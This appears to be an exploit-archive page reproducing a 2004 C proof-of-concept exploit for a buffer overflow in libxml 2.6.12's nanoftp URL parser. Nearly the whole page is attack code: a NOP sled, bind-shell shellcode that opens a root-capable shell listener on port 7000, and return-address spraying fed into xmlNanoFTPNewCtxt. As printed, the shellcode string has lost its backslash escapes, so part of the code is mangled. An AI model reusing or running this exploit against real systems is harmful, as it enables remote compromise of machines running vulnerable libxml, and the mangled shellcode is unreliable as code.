[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : libxml 2.6.12 nanoftp Remote Buffer Overflow Proof of Concept Exploit
# Published : 2004-10-26
# Author : infamous41md
# Previous Title : Multiple AntiVirus (zip file) Detection Bypass Exploit
# Next Title : SCO Openserver 5.0.7 (MMDF deliver) Local Root Exploit


/*
 *  libxml 2.6.12 nanoftp bof POC   infamous42mdAThotpopDOTcom
 *
 *  [n00b localho outernet] gcc -Wall libsuxml.c -lxml2
 *  [n00b localho outernet] ./a.out 
 *  Usage: ./a.out <retaddr> [ align ]
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  [n00b localho outernet] ./a.out 0xbfff0360
 *  xmlNanoFTPScanURL: Use [IPv6]/IPv4 format
 *  [n00b localho outernet] netstat -ant | grep 7000
 *  tcp        0      0 0.0.0.0:7000            0.0.0.0:*               LISTEN   
  
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <libxml/nanoftp.h>

#define die(x) do{ perror((x)); exit(1); }while(0)
#define BS 0x10000
#define NOP 0x90
#define NNOPS 3000
#define ALIGN 0

/* call them */
#define SHELL_LEN (sizeof(sc)-1)
char sc[] =
    "x31xc0x50x50x66xc7x44x24x02x1bx58xc6x04x24x02x89xe6"
    "xb0x02xcdx80x85xc0x74x08x31xc0x31xdbxb0x01xcdx80x50"
    "x6ax01x6ax02x89xe1x31xdbxb0x66xb3x01xcdx80x89xc5x6a"
    "x10x56x50x89xe1xb0x66xb3x02xcdx80x6ax01x55x89xe1x31"
    "xc0x31xdbxb0x66xb3x04xcdx80x31xc0x50x50x55x89xe1xb0"
    "x66xb3x05xcdx80x89xc5x31xc0x89xebx31xc9xb0x3fxcdx80"
    "x41x80xf9x03x7cxf6x31xc0x50x68x2fx2fx73x68x68x2fx62"
    "x69x6ex89xe3x50x53x89xe1x99xb0x0bxcdx80";
    
 
/*
 */
int main(int argc, char **argv)
{
    int x = 0, len = 0;
    char    buf[BS] = {'A',};
    long    retaddr = 0, align = ALIGN;

    if(argc < 2){
        fprintf(stderr, "Usage: %s <retaddr> [ align ]n", argv[0]);
        return EXIT_FAILURE;
    }
    if(sscanf(argv[1], "%lx", &retaddr) != 1)
        die("sscanf");
    if(argc > 2)
        align = atoi(argv[2]);
    if(align < 0 || align > 3)
        die("nice try newblar");

    strncpy(buf, "://[", 4);
    len += 4;
    memset(buf+len, NOP, NNOPS);
    len += NNOPS;
    memcpy(buf+len, sc, SHELL_LEN);
    len += SHELL_LEN;
    
    len += align;
    for(x = 0; x < 2000 - (sizeof(retaddr) - 1); x += sizeof(retaddr))
        memcpy(buf+len+x, &retaddr, sizeof(retaddr));
    buf[len+x] = ']';
    buf[len+x+1] = 0;

    xmlNanoFTPNewCtxt(buf);

    return EXIT_SUCCESS;
}

// www.Syue.com [2004-10-26]